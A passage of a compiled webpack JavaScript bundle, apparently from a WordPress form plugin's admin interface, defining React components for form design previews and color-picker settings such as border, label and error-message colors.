_react2.default.createElement(
'button',
null,
(0, _utils.translate)('Button')
)
);
}
}]);
return designMaterial;
}(_react.Component);
exports.default = designMaterial;
/***/ }),
/* 256 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var DesignBasic = function (_Component) {
_inherits(DesignBasic, _Component);
function DesignBasic(props) {
_classCallCheck(this, DesignBasic);
return _possibleConstructorReturn(this, (DesignBasic.__proto__ || Object.getPrototypeOf(DesignBasic)).call(this, props));
}
_createClass(DesignBasic, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{ className: 'fui-demo fui-demo--custom-form fui-demo--basic' },
_react2.default.createElement(
'div',
{ className: 'fui-is_empty' },
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', {
type: 'text',
readOnly: 'readonly'
})
),
_react2.default.createElement(
'div',
{ className: 'fui-is_filled' },
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' })
),
_react2.default.createElement(
'button',
null,
(0, _utils.translate)('Button')
)
);
}
}]);
return DesignBasic;
}(_react.Component);
exports.default = DesignBasic;
/***/ }),
/* 257 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var designNone = function (_Component) {
_inherits(designNone, _Component);
function designNone(props) {
_classCallCheck(this, designNone);
return _possibleConstructorReturn(this, (designNone.__proto__ || Object.getPrototypeOf(designNone)).call(this, props));
}
_createClass(designNone, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{
role: 'alert',
className: 'sui-notice sui-active',
style: { display: 'block' },
'aria-live': 'assertive'
},
_react2.default.createElement(
'div',
{ className: 'sui-notice-content' },
_react2.default.createElement(
'div',
{ className: 'sui-notice-message' },
_react2.default.createElement('span', {
className: 'sui-notice-icon sui-icon-info',
'aria-hidden': 'true'
}),
_react2.default.createElement(
'p',
null,
(0, _utils.translate)('You have opted for no stylesheet to be enqueued. ' + "The form will inherit styles from your theme's CSS.")
)
)
)
);
}
}]);
return designNone;
}(_react.Component);
exports.default = designNone;
/***/ }),
/* 258 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _qs = __webpack_require__(40);
var _qs2 = _interopRequireDefault(_qs);
var _axios = __webpack_require__(39);
var _axios2 = _interopRequireDefault(_axios);
var _utils = __webpack_require__(1);
var _accordion = __webpack_require__(35);
var _accordion2 = _interopRequireDefault(_accordion);
var _formContainer = __webpack_require__(259);
var _formContainer2 = _interopRequireDefault(_formContainer);
var _fieldsBasics = __webpack_require__(260);
var _fieldsBasics2 = _interopRequireDefault(_fieldsBasics);
var _responseLoading = __webpack_require__(261);
var _responseLoading2 = _interopRequireDefault(_responseLoading);
var _responseError = __webpack_require__(262);
var _responseError2 = _interopRequireDefault(_responseError);
var _responseSuccess = __webpack_require__(263);
var _responseSuccess2 = _interopRequireDefault(_responseSuccess);
var _section = __webpack_require__(264);
var _section2 = _interopRequireDefault(_section);
var _inputs = __webpack_require__(265);
var _inputs2 = _interopRequireDefault(_inputs);
var _inputsExtra = __webpack_require__(266);
var _inputsExtra2 = _interopRequireDefault(_inputsExtra);
var _radio = __webpack_require__(267);
var _radio2 = _interopRequireDefault(_radio);
var _consent = __webpack_require__(268);
var _consent2 = _interopRequireDefault(_consent);
var _select = __webpack_require__(269);
var _select2 = _interopRequireDefault(_select);
var _dropdown = __webpack_require__(270);
var _dropdown2 = _interopRequireDefault(_dropdown);
var _dropdownSearch = __webpack_require__(271);
var _dropdownSearch2 = _interopRequireDefault(_dropdownSearch);
var _multiSelect = __webpack_require__(272);
var _multiSelect2 = _interopRequireDefault(_multiSelect);
var _calendarBasics = __webpack_require__(273);
var _calendarBasics2 = _interopRequireDefault(_calendarBasics);
var _signature = __webpack_require__(274);
var _signature2 = _interopRequireDefault(_signature);
var _group = __webpack_require__(275);
var _group2 = _interopRequireDefault(_group);
var _repeater = __webpack_require__(276);
var _repeater2 = _interopRequireDefault(_repeater);
var _calendarTable = __webpack_require__(277);
var _calendarTable2 = _interopRequireDefault(_calendarTable);
var _paginationSteps = __webpack_require__(278);
var _paginationSteps2 = _interopRequireDefault(_paginationSteps);
var _paginationProgress = __webpack_require__(279);
var _paginationProgress2 = _interopRequireDefault(_paginationProgress);
var _paginationBack = __webpack_require__(280);
var _paginationBack2 = _interopRequireDefault(_paginationBack);
var _paginationNext = __webpack_require__(281);
var _paginationNext2 = _interopRequireDefault(_paginationNext);
var _submit = __webpack_require__(282);
var _submit2 = _interopRequireDefault(_submit);
var _empty = __webpack_require__(12);
var _empty2 = _interopRequireDefault(_empty);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
var _radioTabs = __webpack_require__(7);
var _radioTabs2 = _interopRequireDefault(_radioTabs);
var _uploadedFiles = __webpack_require__(283);
var _uploadedFiles2 = _interopRequireDefault(_uploadedFiles);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
//import PaginationColors from './colors/pagination';
var Colors = function (_Component) {
_inherits(Colors, _Component);
function Colors(props) {
_classCallCheck(this, Colors);
return _possibleConstructorReturn(this, (Colors.__proto__ || Object.getPrototypeOf(Colors)).call(this, props));
}
_createClass(Colors, [{
key: 'componentDidMount',
value: function componentDidMount() {
this.loadFonts();
}
}, {
key: 'componentDidUpdate',
value: function componentDidUpdate() {
this.loadFonts();
}
}, {
key: 'loadFonts',
value: function loadFonts() {
if (!_.isUndefined(window.forminatorFonts)) {
return;
}
var options = {
isObject: true
};
var data = {
action: 'forminator_load_google_fonts',
data: options,
_wpnonce: forminatorData.gFontNonce
};
_axios2.default.post(forminatorData.ajaxUrl, _qs2.default.stringify(data)).then(function (response) {
window.forminatorFonts = response.data.data;
}).catch(function (err) {
console.log(err);
});
}
}, {
key: 'hasIndicatorEnabled',
value: function hasIndicatorEnabled(settings) {
if (typeof settings['submission-indicator'] !== 'undefined' && settings['submission-indicator'] === 'show') {
return true;
}
return false;
}
}, {
key: 'render',
value: function render() {
var hasPagination = (0, _utils.hasFieldType)('page-break', this.props.wrappers);
var hasSection = (0, _utils.hasFieldType)('section', this.props.wrappers);
var hasSingleRadio = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'radio', 'value_type', 'radio');
var hasSingleDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'select', 'value_type', 'single');
var hasMultiCheckbox = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'checkbox', 'value_type', 'checkbox');
var hasMultiSelect = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'select', 'value_type', 'multiselect');
var hasDatePicker = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'picker');
var hasESign = (0, _utils.hasFieldType)('signature', this.props.wrappers);
var hasGroup = (0, _utils.hasFieldType)('group', this.props.wrappers);
var hasDateDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'select');
var hasTimeDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'time', 'field_type', 'select') || (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'time', 'time_type', 'twelve');
var hasAddresCountry = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'address', 'address_country', 'true');
var hasNamePrefix = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'name', 'prefix', 'true');
var hasGDPR = (0, _utils.hasFieldType)('gdprcheckbox', this.props.wrappers);
var hasFileUpload = (0, _utils.hasFieldType)('upload', this.props.wrappers);
var hasCurrency = (0, _utils.hasFieldType)('currency', this.props.wrappers);
var hasStripe = (0, _utils.hasFieldType)('stripe', this.props.wrappers);
var hasCalculation = (0, _utils.hasFieldType)('calculation', this.props.wrappers);
var hasConsent = (0, _utils.hasFieldType)('consent', this.props.wrappers);
var postdata_multiple = (0, _utils.hasPostdataFieldWithMultiselect)(this.props.wrappers);
var isPreset = !_.isUndefined(this.props.preset);
var hasIndicator = isPreset || this.hasIndicatorEnabled(this.props.settings);
var hasPaginationHeader = _.isUndefined(this.props.settings.paginationData) || _.isUndefined(this.props.settings.paginationData['pagination-header-design']) ? '' : this.props.settings.paginationData['pagination-header-design'];
var paginationHeader = _.isUndefined(this.props.settings.paginationData) || _.isUndefined(this.props.settings.paginationData['pagination-header']) ? '' : this.props.settings.paginationData['pagination-header'];
return _react2.default.createElement(
'div',
{ className: 'sui-box-settings-row' },
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-1' },
_react2.default.createElement(
'span',
{ className: 'sui-settings-label' },
(0, _utils.translate)('Colors')
),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)('Adjust the default color combinations to match your theme styling.')
)
),
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-2' },
_react2.default.createElement(
_radioTabs2.default,
_extends({}, this.props, {
property: 'cform-color-settings',
'default': ''
}),
_react2.default.createElement(
_empty2.default,
{ value: '', boxClass: '' },
(0, _utils.translate)('Use Default Colors')
),
_react2.default.createElement(
_container2.default,
{ value: 'true', label: (0, _utils.translate)('Custom') },
_react2.default.createElement(
'div',
{ className: 'sui-accordion' },
_react2.default.createElement(
'div',
{ className: 'sui-accordion-header' },
_react2.default.createElement(
'div',
null,
(0, _utils.translate)('Element')
)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Form Container')
}),
_react2.default.createElement(_formContainer2.default, this.props)
),
hasIndicator && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Submission Indicator')
}),
_react2.default.createElement(_responseLoading2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Response Success')
}),
_react2.default.createElement(
'p',
{ className: 'sui-description' },
(0, _utils.translate)('Successful response message will be displayed after ' + 'form submission succeeds.')
),
_react2.default.createElement(_responseSuccess2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Response Error')
}),
_react2.default.createElement(
'p',
{ className: 'sui-description' },
(0, _utils.translate)('Error response message will be displayed after ' + 'form submission fails.')
),
_react2.default.createElement(_responseError2.default, this.props)
),
(isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'nav') && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Pagination Steps')
}),
_react2.default.createElement(_paginationSteps2.default, this.props)
),
(isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'bar') && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Pagination Progress Bar')
}),
_react2.default.createElement(_paginationProgress2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Fields Basics')
}),
_react2.default.createElement(_fieldsBasics2.default, this.props)
),
hasSection && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Section')
}),
_react2.default.createElement(_section2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Input and Textarea')
}),
_react2.default.createElement(_inputs2.default, this.props)
),
(hasDatePicker || hasCurrency || hasStripe || hasCalculation) && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Input Extras')
}),
_react2.default.createElement(_inputsExtra2.default, this.props)
),
(hasMultiCheckbox || hasSingleRadio || hasGDPR) && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Radio and Checkbox')
}),
_react2.default.createElement(_radio2.default, this.props)
),
(hasSingleDropdown || hasDateDropdown || hasTimeDropdown || hasAddresCountry || hasNamePrefix) && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Select')
}),
_react2.default.createElement(_select2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Dropdown List')
}),
_react2.default.createElement(_dropdown2.default, this.props)
)
),
hasAddresCountry && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Dropdown Search')
}),
_react2.default.createElement(_dropdownSearch2.default, this.props)
),
(hasMultiSelect || postdata_multiple) && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Multi Select')
}),
_react2.default.createElement(_multiSelect2.default, this.props)
),
hasDatePicker && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Calendar Basics')
}),
_react2.default.createElement(_calendarBasics2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Calendar Table')
}),
_react2.default.createElement(_calendarTable2.default, this.props)
)
),
hasFileUpload && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('File Upload'),
boxedContent: false
}),
_react2.default.createElement(_uploadedFiles2.default, this.props)
),
hasESign && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('E-Signature')
}),
_react2.default.createElement(_signature2.default, this.props)
)
),
hasGroup && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Field Group')
}),
_react2.default.createElement(_group2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Repeater Button'),
boxedContent: false
}),
_react2.default.createElement(_repeater2.default, this.props)
)
),
hasPagination && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Button Back')
}),
_react2.default.createElement(_paginationBack2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Button Next')
}),
_react2.default.createElement(_paginationNext2.default, this.props)
)
),
hasConsent && _react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Consent')
}),
_react2.default.createElement(_consent2.default, this.props)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Submit Button')
}),
_react2.default.createElement(_submit2.default, this.props)
)
)
)
)
)
);
}
}]);
return Colors;
}(_react.Component);
exports.default = Colors;
/***/ }),
/* 259 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var BasicColors = function (_Component) {
_inherits(BasicColors, _Component);
function BasicColors(props) {
_classCallCheck(this, BasicColors);
return _possibleConstructorReturn(this, (BasicColors.__proto__ || Object.getPrototypeOf(BasicColors)).call(this, props));
}
_createClass(BasicColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#00000000"),
property: (0, _utils.getThemePrefix)(this.props) + 'cform-form-border',
label: (0, _utils.translate)('Border color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#00000000"),
property: (0, _utils.getThemePrefix)(this.props) + 'cform-form-background',
label: (0, _utils.translate)('Background color'),
isAlpha: true
}))
);
}
}]);
return BasicColors;
}(_react.Component);
exports.default = BasicColors;
/***/ }),
/* 260 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var GlobalColors = function (_Component) {
_inherits(GlobalColors, _Component);
function GlobalColors(props) {
_classCallCheck(this, GlobalColors);
return _possibleConstructorReturn(this, (GlobalColors.__proto__ || Object.getPrototypeOf(GlobalColors)).call(this, props));
}
_createClass(GlobalColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
property: (0, _utils.getThemePrefix)(this.props) + 'cform-label-color',
label: (0, _utils.translate)('Label')
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'cform-asterisk-color',
label: (0, _utils.translate)('Required asterisk')
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
property: (0, _utils.getThemePrefix)(this.props) + 'label-helper-color',
label: (0, _utils.translate)('Description')
})),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
property: (0, _utils.getThemePrefix)(this.props) + 'label-validation-background',
label: (0, _utils.translate)('Error message BG'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'label-validation-color',
label: this.props.formDesign !== 'material' ? (0, _utils.translate)('Error message color') : (0, _utils.translate)('Global error color'),
description: this.props.formDesign === 'material' ? (0, _utils.translate)('This color will be used when fields throw an ' + 'error as text color, border color, etc.') : ''
}))
);
}
}]);
return GlobalColors;
}(_react.Component);
exports.default = GlobalColors;
/***/ }),
/* 261 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ResponseLoadingColors = function (_Component) {
_inherits(ResponseLoadingColors, _Component);
function ResponseLoadingColors(props) {
_classCallCheck(this, ResponseLoadingColors);
return _possibleConstructorReturn(this, (ResponseLoadingColors.__proto__ || Object.getPrototypeOf(ResponseLoadingColors)).call(this, props));
}
_createClass(ResponseLoadingColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F8F8F8"),
property: (0, _utils.getThemePrefix)(this.props) + 'response-loading-background',
label: (0, _utils.translate)('Background color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666"),
property: (0, _utils.getThemePrefix)(this.props) + 'response-loading-color',
label: (0, _utils.translate)('Text color')
}))
);
}
}]);
return ResponseLoadingColors;
}(_react.Component);
exports.default = ResponseLoadingColors;
/***/ }),
/* 262 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ResponseErrorColors = function (_Component) {
_inherits(ResponseErrorColors, _Component);
function ResponseErrorColors(props) {
_classCallCheck(this, ResponseErrorColors);
return _possibleConstructorReturn(this, (ResponseErrorColors.__proto__ || Object.getPrototypeOf(ResponseErrorColors)).call(this, props));
}
_createClass(ResponseErrorColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
property: (0, _utils.getThemePrefix)(this.props) + 'response-error-border',
label: (0, _utils.translate)('Border color'),
isAlpha: true
})),
